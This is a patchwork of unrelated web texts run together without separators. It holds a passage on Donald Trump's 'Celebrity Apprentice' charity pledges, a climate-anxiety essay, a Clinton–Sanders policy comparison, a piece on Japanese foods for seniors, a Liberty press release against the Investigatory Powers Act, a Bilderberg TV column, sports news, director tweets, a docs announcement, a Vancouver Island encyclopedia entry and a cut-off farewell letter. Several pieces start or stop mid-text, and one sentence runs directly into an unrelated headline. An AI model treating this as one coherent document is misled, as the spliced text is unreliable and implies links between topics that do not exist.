In two other cases, it was not possible to determine what happened. One charity said that somebody had paid off Trump’s promise but declined to say who. Leaders of another charity — baseball star Darryl Strawberry’s foundation, to which Trump had promised $25,000 — did not respond to multiple calls or emails from The Post.
In the other 18 cases, the answer was the same — on-air, Trump promising a gift of his own money; off-air, that gift coming from someone else.
“I think you’re so incredible that — personally, out of my own account — I’m going to give you $50,000 for St. Jude’s,” Trump told mixed martial arts star Tito Ortiz in 2008.
This was the first personal promise The Post found, from the show’s first season.
Ortiz, at the time, was being fired. His team had come up short in a contest to design advertising for yogurt-based body wash. To soften the blow, Trump promised the gift to Ortiz’s charity, St. Jude Children’s Research Hospital in Memphis.
Tax records show that the hospital was sent $50,000 from a nonprofit, the Donald J. Trump Foundation.
That sounds like it was Trump’s money.
But, for the most part, it wasn’t.
Trump had founded the nonprofit group in the late 1980s — and, in its early years, Trump was its only donor. But that had changed in the mid-2000s. Trump let the foundation’s assets dwindle to $4,238 at the beginning of 2007. After that, its coffers were filled using donations from others, most notably pro wrestling magnates Vince and Linda McMahon.
In 2007 and 2008 combined, Trump gave $65,000 to his own foundation, or about 1 percent of its incoming money.
When he described his gift to Ortiz on-air in 2008, it was personal, “from my own account.”
“Thank you very much,” Ortiz said.
“Get out of here,” Trump said.
In the next few seasons, such personal promises from Trump were relatively rare. The Post found six such pledges in the show’s first four seasons combined.
And in at least two of those cases, the payment didn’t come from Trump — or his foundation, which he had used to pay Ortiz’s charity.
“What’s your charity, Jose?” Trump asked baseball slugger Jose Canseco in an episode in 2011. Canseco was leaving the show voluntarily because his father had become ill. As with Kardashian, Trump said he would soften the blow with a gift. Canseco’s charity was the Baseball Assistance Team, which provides confidential aid to minor leaguers, umpires, retired players and others connected to the sport.
“All right, I’m gonna give $25,000,” Trump said. “Say hello to your father.”
As with Kardashian, that money came from Reilly Worldwide. Trump gave nothing.
The Post sent a query to Canseco: Did he think any differently about Trump after he learned that a third party paid off Trump’s promise?
No comment. “He said he’s only doing paying jobs. I’m sorry,” Canseco’s publicist wrote.
In 2012, Trump became more generous on the air.
That year, he promised six $10,000 donations in a single episode. In another episode, he gave contestant O’Day’s charity $10,000 — the gift that moved Lampanelli to tears.
It was all Trump Foundation money.
Actor Gary Busey attends "The Celebrity Apprentice" Season 4 finale in 2011. (Neilson Barnard/GETTY IMAGES)
In 2013, the gifts continued. In one episode that year, Trump handed out $20,000 each to the charities of basketball star Dennis Rodman, singer La Toya Jackson and actor Gary Busey.
“Remember, Donald Trump is a very nice person, okay?” he told them.
By then, a personal gift from Trump was no longer a rare thing. In fact, contestants had come to expect these gifts — and even to demand them, when Trump didn’t offer money on his own.
“Give her some money. She didn’t win nothin’, ” country singer Trace Adkins told Trump in one episode as the billionaire was firing former Playboy Playmate Brande Roderick.
“Okay, I’m going to give you $20,000, okay? All right?” Trump told Roderick.
“Thank you, Mr. Trump,” said Adkins, the man who sang “Honky Tonk Badonkadonk.” “That was cool.”
All of that was the Trump Foundation’s money.
In fact, The Post’s search found that all of Trump’s promises from the show’s last three seasons were paid off by the Trump Foundation, save one. That was the biggest one. In 2013, Trump promised $100,000 to the American Diabetes Association, the charity of hip-hop artist Lil Jon. He said that the gift was in honor of Lil Jon’s mother, who had recently died.
In that case, a production company paid.
From left, Penn Jillette, Lil Jon and Trace Adkins attend an "All Star Celebrity Apprentice" event at Trump Tower in 2013. (Slaven Vlasic/GETTY IMAGES)
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will have to change faster, or the last opportunity will slip away without our even grasping for it. The task before us is mass expropriation on a scale not seen since perhaps the end of US slavery, a reversal of the colonial land grab that began the process – and if it doesn’t happen now, we can expect to abandon city after city to the rising waters. If that expropriation has the potential to be unfathomably violent, we have already begun to fathom the violence that awaits us if we eschew it. The world my daughter will know at seventeen is going to be radically different from this one; when she is old, our world maps will be even less familiar to her than 1914’s are to us.
By October, the centenary of the Russian Revolution, everything has changed. Three years have become three months. The first bands of the great storm are making landfall in Trump’s America.
Hurricanes barrel down the Gulf Stream in rapid sequence, each one bigger than the last. Houston is inundated; explosions rock the chemical plants of Cancer Alley. Irma bears down on the Caribbean and Florida, flattening Dominica and leaving Barbuda entirely uninhabitable. Then Maria is the name of the dread and when it passes, Puerto Rico is left without power or fresh water indefinitely, its infrastructure – already fragile from colonial exploitation and austerity programs – damaged beyond repair and the mainland all too eager to abandon Puerto Ricans to their fate. Ophelia takes a right turn and heads, bewilderingly, for Ireland. Out west, wildfires rage uncontrollably, leaving an apocalyptic landscape and a housing crisis in their wake.
Two months after we trace its path through the swamp, the artificial bulwark on which Alligator Alley is built will be overwhelmed, the winds and floods displacing water and gators alike. Irma, a slow-churning monster far larger than 1992’s legendary Andrew, makes landfall in Florida as a Category 4 after wreaking devastation in the Caribbean. Miami’s sewer system, already heavily taxed by rising waters, floods. My parents flee their island home, expecting a storm surge as high as their rooftop, though at the last minute the cone of uncertainty will shift.
My father, a Florida native, natural-gas engineer, and lifelong boater but never much of a critic of capitalism, is relieved to escape with minimal damage. But people who live on barrier islands keep an eye on the sky. The threat of environmental destruction looms as tall as the thunderheads that form every afternoon here. Dad tells me he’s terrified of what his industry is doing: hydraulic fracking could easily contaminate the peninsula’s shallow water table. Once that happens, there’s no going back. ‘How can they be so short-sighted?’ he asks me, gazing over the steering wheel as we cross the long causeway over Tampa Bay, his eyes lighting on boats and small islands. ‘How do they expect to do business if there’s no fresh water?’
When Irma arrives, it sucks the water out of Tampa Bay. Under the causeway, those who haven’t evacuated walk through the mud to gape at piles of seaweed and gasping fish or attempt to rescue stranded manatees.
In the rich subtropical farmland that rings the Everglades, crops are devastated, with growers of tomatoes, citrus, corn, and sugarcane reporting 80 to 90 percent crop losses. The mostly migrant labour force here bears, as always, the brunt of the suffering: their flimsy rental homes destroyed, power and gas supplies disrupted, food and medicine scarce. Their water supply is badly damaged: water, water everywhere, but not a drop to drink. When aid eventually arrives, it comes not from President Trump’s federal government but from the Coalition of Immokalee Workers. Taco Bell imports its tomatoes for a while; the workers go unpaid. Things fall apart, for one if not the other.
Hurricane Maria, following close on Irma’s heels, leaves Puerto Rico dark and thirsty and desperate, half its 3.4 million people without drinking water. Even before the storm, the water supply was unreliable: in 2015, as Nathalie Baptiste points out in Mother Jones, 99.5 percent of Puerto Ricans were getting their drinking water from sources contaminated enough to violate the federal Safe Drinking Water Act. Three weeks after the storm, CNN reports that its journalists ‘watched workers from the Puerto Rican water utility... distribute water from a well at the Dorado Groundwater Contamination Site, which was listed in 2016 as part of the federal Superfund program for hazardous waste cleanup’. When they informed the queuing workers, Dorado resident Jose Luis Rodriguez shrugged. ‘I don’t have a choice. This is the only option I have’, he replied.
Water infrastructure is at or well over its limits in other parts of the United States, too. Hurricane Harvey left hundreds of thousands of Texans without potable water; in the absence of federal aid, the HEB grocery chain sent a convoy south. Water supplies in the impoverished, mostly African American former auto-manufacturing centre of Flint, Michigan, were contaminated by lead in 2014; as many as 12,000 children were exposed to damaging levels of lead. Official indifference and coverups are now being investigated and the city is still without safe water. Also in 2014, in West Virginia’s coal country, a chemical storage facility’s neglect led to a massive chemical spill that contaminated tap water in eight counties, including the capital city of Charleston, with 10,000 gallons of crude methylcyclohexanemethanol. Two years later, the US Chemical Safety Board reported that ‘investigation determined that nationwide water providers have likely not developed programs to determine the location of potential chemical contamination sources, nor plans to respond to incidents such as the one in Charleston’.
The children of the West Virginia and Michigan workers abandoned by the fossil-fuel economy measure their growing bodies’ strength by hefting jugs of clean water, just as children did in the Rust Belt town where I was raised when our water became undrinkable. The proximate cause of this abandonment is rarely climate change, of course: it’s a pipeline, a power plant, an occupation that grabs precious resources. It’s the rich leaving the poor to thirst or burn or starve. They adapt, as children always have. But they know when they have been left behind, and the fear and anger of that realisation shapes them. They stand up and fight alongside their elders, as children always have – at Standing Rock and South Baltimore, in Guangdong and Gaza – and when the guns and hoses and experimental sonic weapons point at them, they are changed forever.
They are coming of age at the precise point where the temperature graph spikes, the moment things fall apart on a grand scale. They don’t have the luxury of separating struggles. Those still sheltered now will be that much more shocked when the winds or the guns turn on them. Though climate change strikes unevenly, hitting the poorest and most disenfranchised first, none of us is a true outsider. (The richest of the rich know this: they have already lined up their luxury bunkers, private militaries, even space shuttles.) As Naomi Klein points out in 2014’s This Changes Everything, ‘no one is exempt from the real-world impacts of increasingly extreme weather, or from the simmering psychological stress of knowing that we may very well grow old – and our young children may well grow up – in a climate significantly more treacherous than the one we currently enjoy’. No one will be exempt from the trauma now beginning to unfold.
I buy canned food, bottled water, and dust masks to store for emergencies. My husband buys a go bag and a solar USB charger. We go to a gun shop and feel the heft of a Glock 19 in our hands. Just in case?
I read my little girl another book, in which a Polish woman hides Jewish children from the Nazis in laundry bags. My daughter has questions. I try to explain the scale of the Holocaust but it is too big for sense-making. She does not understand how big the oceans are, either. (Do I?)
It might be arrogant to imagine her children, but I do. I see them sitting around a fire, trading stories of the Time Before, like characters in dystopian novels. I walk into a vast Whole Foods, overflowing with abundance – towering displays of chocolate and fish and other wonders they’ll never taste – and imagine trying to describe to them the excesses of neoliberal capitalism. They always laugh in disbelief when I get to the part about the coffee bar with a barista robot.
Klein writes of grilling salmon and pausing to imagine herself describing the fish – ‘its electric color, its jeweled texture – to a child living in a world where these wild creatures had disappeared’. I melt a square of dark chocolate on my tongue and try to store away the sensation, to make what will one day be a distant memory as vivid as possible. If there are grandchildren, if our children love and fuck and bring babies into the world and those babies survive, will they resent us for our chocolate? When even a taste is rare or impossible, will they picture us gorging on piles of Hershey bars and curse us?
How to explain that we dedicated our ingenuity to everything except survival?
Klein calls this pattern of pre-emptive grief ‘pre-loss’; Richard Seymour refers to it as ‘melancholic subjectivity’ in the face of mourning. I too indulge, wondering how long we’ll be able to live in the city, to bathe and shower whenever we please, to rely on the transit networks now crumbling before our eyes – the luxuries of a settler-colonial working class.
This is why we read dystopian fiction, of course: to bask in what we have, knowing that we might well lose it the next time the cone of uncertainty falls across us. To imagine what our priorities will be when the imposed priorities of the bosses at last melt away. To substitute grotesque but tangible zombies and vampires and monsters, as we always have, for fears too large and unpredictable to populate our imaginations. (David McNally writes in Monsters of the Market that ‘monsters are warnings – not only of what may happen but also of what it already happening. Yet, as we have seen, cultures often repress and deny the most profound warnings of monstrous happenings.’) To fantasise about our own ingenuity and toughness, our ability to not just survive but to build something real amid a devastation we know is inevitable. After all, if we fail – if all we do is die – there is no story. The pages of the book are blank after chapter one, and no one is left to read it. Our imaginations fail here too. So we imagine our grandchildren building a humble but socialist world from little islands of mutual aid perched on stilts over three feet of alligator-infested water, and we watch the skies.
Psychiatrist Judith Herman tells us in Trauma and Recovery that ‘integrity is the capacity to affirm the value of life in the face of death, to be reconciled with the finite limits of one’s own life and the tragic limitations of the human condition, and to accept these realities without despair’. Seymour takes this a step further, citing John Berger’s ‘undefeated despair’: ‘We give up without giving up.... We despair, but we do not submit.’
We know now that we are the last of capitalism’s gravediggers. We have failed: our ambivalence about destroying the system we know is rapidly becoming our despair. Our children will have to build something new in the ashes, or die trying. With mass destruction as the tragic limitation of their own condition, they’ll have nothing left to lose – and no reason to submit.
Sarah Grey is a freelance writer based in Philadelphia. Her work on topics including politics, language, food, and labor has appeared in Best Food Writing 2015, Jacobin, Bitch, Saveur, International Socialist Review, Monthly Review, Lucky Peach, and more. She edits and indexes academic, activist, and creative nonfiction (with a specialty in Marxism) for publishers and individuals under the name Grey Editing (greyediting.com) and was awarded the American Copy Editors Society’s 2016 Robinson Prize for Excellence in Copy Editing. She can be reached on Twitter at @greyediting or by email at sarah@greyediting.com.
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The contrasts between Hillary Clinton and Bernie Sanders are largely differences of degree. He’s a self-proclaimed socialist; she fashions herself a “progressive that likes to get things done.” He hopes to bust up the biggest banks and offer free tuition at public colleges and universities; she wants to tamp down on risky Wall Street behavior and require students to work part-time in order to attend college without building up debt.
But these discrepancies would likely disappear if either Democratic candidate wins the presidency and attempts to push these bills through a Republican Congress that considers all of the proposals too far left for its liking.
The real difference between Sanders and Clinton might come down less to the what of their policies than to the how of implementing them. When Sanders unveils a new policy as part of his presidential campaign, he tends to pair it with legislation he introduces in the Senate. Judging from his campaign, a President Sanders would spend much of his time trying to convince Congress to pass massive legislative overhauls.
Clinton, on the other hand, often pairs ideas for legislation with promises of executive action in her policy fact sheets. When she rolls out a new policy proposal, the most details are usually in descriptions of the unilateral actions she would take through the power of the executive branch.
Take the two campaigns’ recent approaches to reforming marijuana laws. Sanders introduced a bill in the Senate that would end the federal prohibition on the drug (which, like other far-reaching bills he’s introduced alongside campaign pledges, has not yet received even a committee vote). Clinton’s approach isn’t more modest just in substance, but also in approach. She’d change the classification of marijuana on the federal drug schedule, which would allow it to be used for medical purposes. That’s within the purview of the executive branch without congressional intervention. (Neither campaign responded to requests for comment on how each candidate views the role of legislation and executive action.)
The past two presidents have both slowly ramped up the frequency of presidential action without consulting Congress. Following 9/11, George W. Bush expanded the scope of surveillance and the executive’s international actions. “We’ve been able to restore the legitimate authority of the presidency,” Dick Cheney once bragged. President Obama, despite promising to “reverse” that expansion in his 2008 campaign, has only furthered the trend. Upon first gaining office, with friendly Democratic majorities in Congress, Obama pushed expansive laws like the stimulus and the Affordable Care Act. But once Republicans took the House in 2010, Obama’s ability to pass major changes through Congress was stymied, and he’s turned to executive action, such as using the Clean Air Act to lower carbon emissions from coal plants after Congress failed to pass a cap-and-trade bill.
With Democrats unlikely to retake the House anytime soon, if a Democrat wins the presidency in 2016, most progressive gains will probably have to come in areas where the president doesn’t have to seek congressional approval—through the courts and executive actions.
Sanders is hardly opposed to an expansive view of what a president can accomplish through executive order. Earlier this spring, before launching his presidential campaign, Sanders wrote a letter urging the Obama administration to close several corporate tax loopholes through executive fiat and and boost revenues by $100 billion. He’s cheered Obama’s use of executive orders to force federal contractors into more liberal employment practices.
But on the campaign trail, Sanders shows his instincts as a senator. While Clinton’s plan for financial reform pledged to appoint more aggressive regulators to crack down on Wall Street’s bad actors and focused on what she’d veto, Sanders’ issues page on Wall Street is a litany of changes that would have to clear Congress: a bill breaking up the biggest banks, a return to the Glass-Steagall law that separated commercial and investment banking, and a financial transaction tax.
When Clinton released her plan to tackle gun violence, she offered up a slew of ideas for the kind of legislation she’d like to see passed and said she’d push Congress to expand background checks. But in the likely event that a Republican Congress didn’t help her in passing that legislation, Clinton said, she’d focus on how she could use executive orders to close the gun show loophole. She made clear that she’d prefer to pursue the traditional legislative route, but was resigned to the realities of dealing with a Republican-controlled Congress.
Clinton’s proposals for executive action might be easier to enact, but they carry plenty of risk. Laws last until they’re overturned, which often involves relitigating the entire fight. Executive orders and instructions to federal agencies can be wiped out as soon as a successor enters the White House. And ambitious executive actions often stand on shaky ground while awaiting judicial approval. Take Obama’s executive order known as the Deferred Action for Parents of Americans and Lawful Permanent Residents, or DAPA, which offered millions of undocumented immigrants a reprieve from deportation. He signed the order last year, but it’s remained in judicial limbo ever since. Earlier this week, the Fifth Circuit Court of Appeals ruled the order unconstitutional, leaving the fate of the policy in the hands of the Supreme Court.Video: Japan Created Easy-To-Swallow Foods To Prevent Senior Choking Deaths
NPR via YouTube
Japan has the world's highest number of people age 65 and older. And a growing number of elderly people there are dying in accidental choking deaths. For the past 10 years, according to Japan's Ministry of Health, Labor and Welfare, the vast majority of those deaths have been senior citizens.
Mochi — a sticky rice cake eaten at the new year — and apples present the worst choking hazards to Japan's seniors.
To help prevent these unnecessary tragedies, Japan's food industry has created "Engay" foods, which are specialized for elderly people.
These pureed, reshaped foods include anything you can imagine. After pureeing an original food product — say, grilled salmon — the puree is combined with a gelling agent. Then it's molded into the original appearance of the food — in the case of salmon, with fake grill marks and everything.
So far, these products are the domain of hospitals and nursing homes and cost slightly more than regular food. But with a fast-aging population, it's considered the food of Japan's future.
See how these delicacies are made (and whether they're any good) in this episode of Elise Tries.
Watch all of Elise Tries on YouTube.Liberty has today issued a landmark legal challenge against the Government’s extreme mass surveillance regime, setting in motion a judicial review of the Investigatory Powers Act.
Liberty is challenging the unprecedented “bulk” surveillance powers contained in the Act – which lets the state monitor everybody’s web history and email, text and phone records, and hack computers, phones and tablets on an industrial scale.
The human rights campaigning organisation sent a formal letter before action to the Government on 20 December last year – but has still not received a substantive response. Liberty has now applied to the High Court for permission to proceed.
The challenge is being crowdfunded via CrowdJustice, and has received widespread public support. In January, Liberty raised more than £50,000 from the public in less than a week – smashing its initial target of just £10,000.
More than 200,000 people signed a petition calling for the Act’s repeal after it passed late last year.
Silkie Carlo, Policy Officer at Liberty, said: “This is our first step towards getting rid of the most intrusive surveillance regime of any democracy in history.
“The powers we’re fighting undermine everything that’s core to our freedom and democracy – our right to protest, to express ourselves freely and to a fair trial, our free press, privacy and cybersecurity. But with so much public support behind us, we’re hopeful we will be able to persuade our courts to restrain the more authoritarian tendencies of this Government.”
Liberty will argue that the following powers breach the British people’s rights:
Bulk and ‘thematic’ hacking – the Act lets police and agencies access, control and alter electronic devices like computers, phones and tablets on an industrial scale, regardless of whether their owners are suspected of involvement in crime – leaving them vulnerable to further attack by hackers.
Bulk interception of communications content – the Act lets the state read texts, online instant messages and emails, and listen in on calls en masse, without requiring suspicion of criminal activity.
Bulk acquisition of everybody’s communications data and internet history – the Act forces communications companies and service providers to retain and hand over records of everybody’s emails, phone calls and texts and entire web browsing history to state agencies to store, data-mine and profile at its will.
Bulk personal datasets – the Act lets agencies acquire and link vast databases held by the public or private sector. These contain details on religion, ethnic origin, sexuality, political leanings and health problems, potentially on the entire population – and are ripe for abuse and discrimination.
Liberty has instructed Bhatt Murphy Solicitors in this case.
In December, the EU Court of Justice (CJEU) issued a historic judgment in a separate case brought by Tom Watson MP, represented by Liberty.
It ruled the UK Government is breaking the law by indiscriminately collecting the nation's internet activity and phone records and letting hundreds of public bodies grant themselves access to these personal details with no suspicion of serious crime and no independent sign-off – effectively rendering significant parts of the Investigatory Powers Act unlawful.
ENDS
Contact 0207 378 3656 / 07973 831 128 / pressoffice@liberty-human-rights.org.ukNice work, Sunday Politics. You stuck a grizzly bear in your interview chair and jabbed him with a poker. The bear roared and thrashed about, and your host called him an idiot. Congratulations, have a Pulitzer.
On Sunday, the Sunday Politics became Beadle's About, when they invited fiery Texan shock-jock, Alex Jones, and sat him next to David Aaronovitch, to discuss the Bilderberg conference. Jones is a known quantity to the mainstream, after his famous tirade at Piers Morgan. Everyone on the production knew precisely what was going to happen, the bellowing shambles was always the goal. It was the TV equivalent of shaking Diet Coke and Mentos.
Before the production got through to Jones, I'd been booked to take part in the discussion with Aaronovitch. I was looking forward to it, as the argument for taking Bilderberg seriously as an international policy summit is easy to make. I knew Aaronovitch would try and drag the event into the world of conspiracy, and I was ready to defend the journalists and politicians who this year were paying proper attention to an influential and unaccountable lobbying forum.
But the Sunday Politics didn't want a discussion. They wanted chaos, so they booked a volcano. Barely for a second did the programme stray into a critique of the event itself. The whole sequence, from start to finish, was deliberately shaped to discredit any serious discussion of a conference which takes itself seriously enough to spend millions of pounds on security. Which is serious enough to hold the attention, for three days, of George Osborne, Kenneth Clarke, the Dutch prime minister, the head of the IMF, the heads of Google, Shell, BP and HSBC. And dozens of other senior policymakers and corporate CEOs. But for Andrew Neil's crazy gang, it was all a giant hoot.
"It's like Christmas for conspiracy theorists," grinned Neil, introducing a short video package about this year's conference. No mention made of all the mainstream press that turned up (Reuters, AP, the Times, Telegraph, Channel 4 News, BBC London News, Sky News, Daily Mail, many others) – or the fact that the report itself was shot in a press area, a first for the conference. It was just a chance to giggle at the crazies.
"This protest seems more like a slightly weird party," said reporter Adam Fleming, as his camera picked out a ventriloquist doll and a protester dressed as a clown. Kenneth Clarke turned up, plump with chuckles, to reassure a giddy Fleming that there's nothing to worry about, and not to listen to the all the "nutty theories" about Bilderberg.
Fleming didn't ask Clarke about allegedly breaching the ministerial code by attending last year's conference, or about his involvement with the Bilderberg Association charity (brought up by Michael Meacher on Sky News). He just stood there simpering while Clarke told him how "dull" the whole thing is. "I'm actually slightly disappointed," Fleming giggled. Yeah, you and me both.
From giggly start to screaming finish, it was a cheap, circus hatchet job on the story. Never, not for an instant, was there going to be a debate. They could have had one, but they wanted a hand grenade. Aaronovitch didn't even need to pull the pin. It pulled itself. Jones barely needed a nudge to explode.
Before the show I told the producers what would happen. "This isn't journalism," I said, "this is sport." If anything, it was an attack on journalism. Certainly an attack on measured thinking. I texted the producer after the show. "Job done."
Charlie Skelton, a comedy writer and journalist, reported on the 2013 Bilderberg conference for the GuardianPittsburgh Penguins forward Jussi Jokinen, just two years removed from clearing waivers, is likely to be moving on from the city where he rebuilt his career according to a report from ESPN's Pierre LeBrun:
A source told ESPN.com that Jokinen’s camp offered to re-sign for $4 million a year, a raise over the $3 million he made this past year, but the cap-challenged Penguins feel it’s too much money.
Jokinen’s agent Todd Diamond wouldn’t divulge those kinds of details, only to say he still hoped to hear back from Pittsburgh before the market opened Tuesday.
Over the past two seasons, Jokinen appeared in 91 games for the Penguins, scoring 28 goals and added 68 points. That sort of production seems well worth $4 million, which can be generally described as'market value' for a top-six forward with limited physical upside like Jokinen.
"We have three or four other teams that we’ve spoken to," added Jokinen's agent Todd Diamond of International Sports Advisors Co.. "But I think with these potential trades possibly happening [Jason Spezza, etc], that may also create more interest for Jussi and other players in his position. It’s a pretty fluid situation right now."As the Marvel Cinematic Universe marches boldly into Phase 3, Taiki Waititi's swing at a super hero film is getting closer and closer.
The director, who previously helmed What We Do In The Shadows, will be in the director's chair for Thor: Ragnarok. The movie is slated for release in November of next year but pre-production has most certainly already begun.
As the film approaches, Waititi is seeking advice from some Marvel Studios veteran directors. Earlier today, he reached out to Guardians of the Galaxy mastermind James Gunn and Ant-Man helmer Peyton Reed for some tips.
@JamesGunn @MrPeytonReed Hey guys. When you're making one of these big movies, how many explosions are you supposed to put in? I have one. — Taika Waititi (@TaikaWaititi) May 12, 2016
More specifically, he wants to know how to pull off some major explosions.
@JamesGunn @MrPeytonReed And it's not so much an explosion - more of a "boink" sound. — Taika Waititi (@TaikaWaititi) May 12, 2016
The boink sound won't work, though, according to Peyton Reed. There's a minimum and that's not it.
@TaikaWaititi @JamesGunn Hmm. That's not gonna cut it, Taika. Check your contract. Marvel minimum is 42 onscreen explosions. Required! — Peyton Reed (@MrPeytonReed) May 12, 2016
Very strict.
@TaikaWaititi @JamesGunn And they're strict! They didn't even count my Pym Tech explosion because "technically it's an IMplosion." — Peyton Reed (@MrPeytonReed) May 12, 2016
Gunn's approach to explosions is different from Reed's but still sounds quite pleasant.
12. Add 11 school buses full of kids exploding & you’ll be good. People love that in superhero movies. https://t.co/4NH6FJf4jt — James Gunn (@JamesGunn) May 12, 2016
Following the advice, Waititi only wishes he could get to Spider-Man: Homecoming's director Jon Watts...
Someone tell Jon Watts to join twitter. I need to know if he wants to swap titles. "Spiderman Ragnarok" and "Thor Homecoming" would rule. — Taika Waititi (@TaikaWaititi) May 12, 2016
And when it comes to advice, he's not done learning. The ball is in Doctor Strange director Scott Derrickson's court now.
@scottderrickson Hey man, don't tell anyone at Marvel but I'm freaking out. Strictly confidential! — Taika Waititi (@TaikaWaititi) May 12, 2016The ReactJS doc site has also been updated last friday by pure coincidence. No conspiracy theory!
Do you like the new look? There's been quite a bit of iterations on the new docs, with an eye toward settings up site templates for our future libraries API docs effort (more on that another time). Meawhile, true to our community's spirit:
The new docs site is much more readable, and just as simple, lean, fast, and easy to read and contribute to.
It's done by a prominent community member, @rickyvetter, who took every nit seriously and cleaned up every corner of the documentation layout, formatting, responsiveness, reorganization, etc. Quality open source contribution right here =)
The existing links are preserved and show you the correct page to redirect to. Take your time migrating your links to the new ones; we'll keep them around for a while.
We care about our community across the globe! There is now dedicated translation support. Click on that symbol on the upper right corner! Translating the docs is a good way to learning. Just ask @charles_mangwa who learned Reason by translating the Reason docs to French.
Works with JavaScript off (falls out naturally from the doc site architecture).
This community is the best part of Reason. In the end, it's all about people. Tweet to @rickyvetter to show some thanks for his excellent work! It makes contributing in his free time much more worthwhile.Sean Wheelock has a few things he wants to clear up about his departure from Bellator MMA.
For one, it was not his choice. And secondly, Wheelock said Bellator president Scott Coker didn't make the call.
The longtime Bellator play-by-play man was not renewed back in July and Sean Grande, the radio voice of the Boston Celtics, took his place. Wheelock had been with Bellator working with color commentator Jimmy Smith since 2010 back when Bellator was on FOX Sports Net. The duo worked 127 straight shows together. Smith was kept on with Grande.
The dismissal was sudden -- not just to fans, but to Wheelock himself. Wheelock said Bellator had delayed extension talks all spring until July when he was told that the promotion would not re-sign him. Grande told MMA Fighting that he had been contacted by Bellator as early as March.
"It felt like a full-on Thai kick to the face, actually," Wheelock said in his first interview since not being brought back. "It was a huge surprise."
From Wheelock's knowledge of the situation, he said the decision did not lie with Coker.
"I know that Scott Coker has taken a lot of heat from people who like me as a commentator or like me as a person or liked the dynamic of Jimmy Smith and myself," Wheelock said. "It's my understanding that Scott Coker had nothing to do with this. This was a Spike decision not to renew my contract. I would have happily renewed. I adored Bellator."
Awful Announcing was the first to report the story of Grande replacing Wheelock in July, writing that Coker "wanted to go in another direction."
Bellator never addressed letting Wheelock go aside from a Coker tweet thanking him. When asked for further comment, Bellator declined through spokesperson Danny Brener.
Huge thank you to @SeanWheelock for all that he's done with #BellatorMMA. Wish him nothing but the best in his future endeavors. — Scott Coker (@ScottCoker) July 9, 2015
Wheelock, a former broadcaster for PRIDE and M-1, took an unpaid role as a commissioner on the Kansas Athletic Commission in July and some thought he was leaving Bellator for that position. Untrue, Wheelock said. The commission gig was in the works for more than a year previously, he said, and he had Bellator's blessing to take it. Wheelock wants to make it clear that it's his intention to continue on as an MMA commentator.
"I went from Titan to PRIDE to M-1 to Bellator without skipping a beat," said Wheelock, who also has a podcast with referee John McCarthy entitled "Let's Get It On." "This is really the first time in about 10 years that I have not had an MMA TV job right now. I'm looking at different things. I'm flattered about how many people have reached out to me and I'm very, very eager to get back on television and get back to it."
Wheelock, 45, has experience in soccer, but stopped calling MLS games full time when he got the job with Bellator five years ago. MMA became his focus then and he plans on that being the case in the future, too.
"I love soccer," he said. "I'm as big a soccer fan as I ever was. I don't have a huge desire to go back and be a full-time soccer commentator. But I have a huge desire to go back and be a full-time MMA commentator."
Bjorn Rebney hired Wheelock back in 2010 and Wheelock believes the former Bellator owner gets a bad rap from fans and media. Rebney sold Bellator to Viacom in 2011 and the media conglomerate replaced him as promoter with Coker last year.
"I think the world of Bjorn," Wheelock said. "He always had my back. He always was complimentary. He was always kind.
"Bellator was Bjorn's vision, brought to life by his sheer will, tenacity and focus on excellence across every aspect of the business."
Wheelock isn't sure where he will end up next, but he hopes his Bellator run is remembered for its thoroughness. He understands that liking or disliking a broadcaster can be subjective, but he stands by his work ethic.
"We did all those prelim fights that aired on dot com," Wheelock said. "I treated every prelim fight the way I treated every main fight. I did the same amount of prep time. I did my same length of fighter interviews."
The Kansas native wishes things were different and he was still with Bellator, but he looks back at his five years there fondly. He has nothing bad to say about Coker.
"I have nothing but good memories with Bellator," Wheelock said. "I consider Scott Coker to be a friend, and I think he's a great guy. It wasn't his call. Scott Coker isn't involved in TV. Ultimately, the decision not to renew my contract and for them, as they told me, to go in a different direction comes from executives and senior management at Spike."Island on the western coast of Canada
"Quadra and Vancouver Island" redirects here. For the nearby island named solely after the Spanish explorer, see Quadra Island
Not to be confused with Vancouver
Vancouver Island is separated from mainland British Columbia by the Strait of Georgia and Queen Charlotte Strait, and from Washington by the Juan De Fuca Strait.
Vancouver Island is in the northeastern Pacific Ocean. It is part of the Canadian province of British Columbia. The island is 460 kilometres (290 mi) in length, 100 kilometres (62 mi) in width at its widest point,[5] and 32,134 km2 (12,407 sq mi) in area. It is the largest island on the West Coast of North America.
The southern part of Vancouver Island and some of the nearby Gulf Islands are the only parts of British Columbia or Western Canada to lie south of the 49th Parallel. This area has one of the warmest climates in Canada, and since the mid-1990s has been mild enough in a few areas to grow subtropical Mediterranean crops such as olives and lemons.[6]
Vancouver Island had a population in 2016 of 775,347.[4] Nearly half of that figure (367,770) live in the metropolitan area of Greater Victoria. Other notable cities and towns on Vancouver Island include Nanaimo, Port Alberni, Parksville, Courtenay, and Campbell River. Victoria, the capital city of British Columbia, is located on the island, but the larger city of Vancouver is not – it is on the North American mainland, across the Strait of Georgia from Nanaimo.
Vancouver Island has been the homeland to many indigenous peoples for thousands of years.[7] The island was explored by British and Spanish expeditions in the late 18th century. It was named Quadra's and Vancouver's Island in commemoration of the friendly negotiations held in 1792 by Spanish commander of the Nootka Sound settlement, Juan Francisco de la Bodega y Quadra, and by British naval captain George Vancouver, during the Nootka Crisis. Bodega y Quadra's name was eventually dropped from the name. It is one of several North American locations named after George Vancouver, who explored the Pacific Northwest coast between 1791 and 1794.
Vancouver Island is the world's 43rd largest island, Canada's 11th largest island, and Canada's second most populous island after the Island of Montreal. It is the largest Pacific island anywhere east of New Zealand.[nb 1]
History [ edit ]
Indigenous peoples [ edit ]
Vancouver Island has been the homeland to many indigenous peoples for thousands of years.[7] The groupings, by language, are the Kwakwaka'wakw, Nuu-chah-nulth, and various Coast Salish peoples. Kwakwaka'wakw territory includes northern and northwestern Vancouver Island and adjoining areas of the mainland, the Nuu-chah-nulth span most of the west coast, while the Coast Salish cover the southeastern Island and southernmost extremities along the Strait of Juan de Fuca. Their cultures are connected to the natural resources abundant in the area |
State Fullerton on Jan. 22, 2018, to accept the presidency of the American Association of State Colleges and Universities, have been emotional, and as I look back at all the archived Titan Voices, I am reminded why: The amazing people with whom I’ve shared this journey have become family. That may sound hyperbolic, and I must admit, when I received a chorus of greetings that began with “Welcome to the Titan family” upon my arrival in 2012, I did not fully grasp the depth of that phrase despite the earnest energy put forth by the people exclaiming it.
Rest assured, I do now.
